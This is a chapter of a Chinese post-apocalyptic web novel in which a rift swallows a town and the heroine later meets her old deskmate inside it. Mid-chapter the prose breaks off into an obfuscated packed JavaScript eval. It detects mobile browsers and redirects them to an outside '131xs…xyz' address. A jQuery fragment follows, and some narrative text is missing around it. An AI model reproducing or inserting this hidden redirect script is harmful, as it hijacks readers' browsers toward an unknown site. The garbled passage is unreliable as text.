35. 枷锁

作品:《末世街溜子被迫害日常

    没有人料到煞会发起第二轮猛攻,当一切都落下帷幕,天际的落日布上一片迷人的黄昏,姗姗退场。


    彼时的江映三人正在饭馆鬼鬼祟祟地吃面,他们坐在角落,生怕被人注意到。


    毕竟三个都是通缉犯,上报给联盟有钱拿。


    游星战战兢兢压低声音问她们:“我要不要主动把黄金石交给联盟,它居然对身体有害,难怪我拿着它总觉得想睡觉。”


    “可以啊,到时候联盟顺便把你也关进大牢。”余禾面不改色道。


    江映罕见地没有食欲,她支着下巴,看向窗外。


    几个联盟军路过窗边,神情严肃。


    她突然端起碗,埋下头,一口气喝完了汤,蹭地站了起来,说:“我吃饱了,出去走走,你们慢慢吃。”


    江映的身影很快消失在窗外。


    游星吸溜着面,疑惑道:“她的第二碗面不是还没上吗?”


    “谁知道呢。”


    余禾垂着眼,用筷子划拉着面条,看两枚绿色的葱花漂浮在汤上,渐渐靠近。


    她叹了口气,又扯出一抹笑:“等会她的那碗面我来吃。”


    “你也点了第二碗面好吧。”


    “算了,我出去看看。”


    余禾拧着眉翻下凳子,急匆匆地追了出去。


    “不是,外面到底有谁在啊?”游星纳闷道,这一个二个,点了面又不吃,他摸了摸肚皮,心想不能浪费食物。


    就让他来承受这种痛苦好了。


    “老板,剩下的两碗面煮好了吗,麻烦给我多加点辣椒,用一个大碗装!”


    ……


    联盟军三三两两守在病房外,隔得很远,惧怕靠近。


    屋内是曾经的同伴,如今是污染种。


    长官离开后,他们围坐在一起,聊东聊西最终都聊出一口郁气。


    “那小子真倒霉啊,会被赶到污染区的吧。”


    “哎,加入联盟我们就应该预想过会有这么一天,只是这一天更早地降临在他的身上。”


    “我有时候真想辞职,拿到钱了又没命花,值得吗?”


    江映趴在墙角偷听他们谈话。


    确定了污染种在哪个病房后,她没有丝毫犹豫就使用了瞬移卡。


    病房里面很安静。


    污染种静静地躺在床上,他的身上缠满了白色的绷带,脸上也是。


    江映站在床边,觉得污染种就像瓷娃娃,绷带下面裂开了一条条痕,直至身体完全裂开,脸上长出面具,他会变成游煞。


    乔妹也是这样吗?


    她不敢细想,只能安慰自己乔妹不是一般人。


    污染种的眼睛也被裹了起来,所以他不知道来人是谁,但能力者的警惕还是让他发出声:“是谁?”


    “是队长吗?”


    江映没出声。


    她察觉到房顶上似乎有人,不止一个。


    那群人的实力应该远在她上,然而他们没有采取任何行动。


    屋外。


    余禾也追到了此处,她躲在大树上,透过窗户远远注视江映,她猜到了,并且猜对了。


    然后她抬起了头,同房顶上的人对视了,那是一个颓废的大叔,余禾觉得他有些眼熟,又想不起来,索性放弃了思考。


    大叔旁边还站着一个杀马特紫毛,余禾不太确定自己是不是在他的发间看见了狼耳,这倒有些稀奇了,是什么变成狼人的能力吗?


    还没等她细看,天空传来异动。


    在黑石镇上方,出现了一只巨大且闭着的眼睛,长度几乎是黑石镇的三分之二,那是裂隙。


    所有人都抬头往天上看,一切都发生在瞬间,裂隙睁开眼睛,堪称恐怖的吸力接纳着黑石镇的全部。


    就连树都被吸了起来,连根拔起,掉入裂隙中,此起彼伏的惨叫声响起,余禾死死抱住树,大喊着江映的名字。


    她急切地搜寻着江映的身影。


    什么都没看见。


    她的眼前陷入了彻底的黑暗,有什么东西缠住了她的脚腕,湿湿滑滑的,将余禾拖向与其他人完全相反的地方。


    不出半个小时,黑石镇被吸入了裂隙,留下了一个广阔的深坑,裂隙眼闭上了。


    【请注意,请注意,黑石镇出现中型裂隙,重复一遍,黑石镇出现中型裂隙,请玩家尽快修补。】


    中型裂隙。


    离得最近的警戒营迅速派遣小队前往黑石镇,宇文海道营长失踪后,警戒营暂由项青峰接管,联盟来的王先生怒气冲冲地回了过渡区,写的报告足有整整三叠,内容五分之四都在指责警戒营的目无规矩。


    落月基地新来的白刃队长很快就把遭受过破坏的警戒营恢复了原状,他的能力着实特殊,项青峰有意让陈轻舟领他去黑石镇的裂隙。


    被姬如霜拒绝了,她说这位队长加入基地时只有一个要求,就是不进入任何裂隙,基地虽然可惜,考虑到他的能力除了修补裂隙之外仍旧能做很多事,还是答应了这个要求。


    难怪。


    项青峰失笑,这么恐怖的能力,按理说一定会在终末地排名前百,可他没怎么听过,就证明这位白刃队长的排名不会太高。


    毕竟裂隙带来的贡献值是占很大一部分的。


    江映必须得承认自己撒了谎,她其实根本没吃饱。


    所以在掉进裂隙的时候,她的肚子先发出了警告,需要食物的警告,她得为自己证明,她不是那么贪吃的人,只是不知道什么时候,能量条又只有一半了。


    瞬移卡太耗能了。


    江映再次发出这样的感慨,并熟练地从包里拿出能量补充剂,定位,注射,她的胳膊真的为她承受了很多。


    有点疼,在所难免。


    她宽慰了自己,一切都会好起来的,她总是喜欢这样哄自己。


    裂隙,又不像裂隙,照常的小雨,焦黑的大地,阴沉沉的天空,还有瘫在地上不动的水晶团子,覆着白色面具,悠闲地淋雨。


    他们挡住了江映的去路。


    若是以往,她必然是直接瞬移离开,或是欺负一下他们,圆滚滚的团子像柔软的棉花糖,颜色各异。


    而今天,她知晓了这其中可能藏着污染种,便蹲下来,仔细地端详每一个游煞的面庞。


    拍一拍,揉一揉,确实是和想象中一样柔软的触感,让她想起了果冻,或是解压的捏捏。


    她每拍一个,就对着人家喊“乔妹”。


    当然没有游煞会搭理她,他们安静地像石头,停在路中央充当着障碍物。


    江映觉得这样实在有点麻烦,脑子一转就想到了个绝妙的方法。


    她唤出I卡牌,对着游煞使用,鉴别他们的种类,如此一来,很迅速地知道了哪些是污染种,哪些是原种。


    【原种游煞,等级:雾瘴级,智力无,意识无,形似风滚草,爱好挡路,可进化为血沸级狂煞。】


    鉴别


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561401|169096||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了很久,里面仅有一只污染种,它的外表是水蓝色的,缩在角落,体型较其他游煞小。


    【污染种游煞,等级:雾瘴级,智力无,意识无,形似风滚草,爱好挡路,可进化为血沸级狂煞。】


    江映气喘吁吁,撑着伞蹲在它的面前。


    煞生活在裂隙里,可污染种一开始就被放逐到污染区,它们得先在污染区活下来,才有机会去到适宜煞生活的裂隙。


    她又往胳膊上扎了一针能量补充剂。


    心想这个方法也不是很绝妙,太过耗能,她的胳膊有点遭罪。


    江映好奇地盯着面前的水蓝色游煞,她伸手拍了拍它的头,毫无反应,又伸手戳了戳它的面具,毫无反应,最后伸手捏了捏它的身体。


    和橡胶一样,可以捏起来。


    这肯定不是乔妹,她很笃定地下了结论,随即站了起来,朝充满雾气的地方前进。


    “嘿,又遇到你了。”


    即使只看见一个模糊的背影,她仍能准确地判断出是他,并且向他打招呼。


    江映撑着伞,一步步走过去,最终和他并肩。


    微风拂过,吹起几缕发丝,她挽至耳后,直视前方,是澄蓝的海洋,万里高空的悬崖止住了她想要更进一步的心。


    “你好像总是不开心。”她含着点抱怨,说裂隙里的雨比任何地方都多,那是他的眼泪。


    同桌抿着唇,金灿灿的眼瞳里是迷茫,亦或是其他,自言自语,不需要任何人回答,他说:“我想不起来了。”


    “没关系,我也想不起来了。”


    一个指的是零碎的记忆。


    一个指的是同桌的名字。


    江映开门见山,问他知道出口在哪里吗?


    同桌摇摇头,他将手中的篮子递给她,自上次后,他就一直亲手把饭交到她的手里,然后看着她吃完。


    江映很感动,说:“送饭之恩,无以为报,唯有高歌三首,以表谢意。”


    话罢,她当即就要大展歌喉。


    高中的时候,同桌最怕她唱歌,跑调都是小事,她能创出完全相反的调子,堪称“呕哑嘲哳难为听”。


    “你怎么不阻止我啊?”


    江映摸不着头脑,打开篮子,是菠萝排骨配米饭,她惊喜地“哇”了两声。


    “好人一生平安。”


    “你唱呗。”同桌撑着脸,眼底细碎的光芒闪过,他的脾气比以前好太多。


    江映嚼着饭菜,咽了下去,怎么可能有心情唱得出来,她就是单纯想逗逗他。


    “我都不知道你会做饭。”


    她对于同桌的了解其实很少,仅限于学校,然而在学校的大部分时间里,同桌都在睡觉,而她坐在旁边看着窗外发呆。


    他们的交流很少,有限的交流一半都是英语和数学,学习是学生唯一的要紧事,江映不予置否。


    “一个人在家,不做饭会饿死。”


    同桌懒洋洋出声。


    江映努了努嘴,添了一句:“你说煞需要吃饭吗?”


    “需要。”同桌转过头,意味不明地瞥了她一眼,“别总试探我,如果怀疑我,就没必要吃我做的饭。”


    哎呀。


    江映护住饭盒,吃得更急,这个同桌比上次冷漠,没上次可爱,是因为什么原因呢?


    她镇定地转移话题:“今天的单词是什么?”


    ”chains,枷锁。”


    他消失了。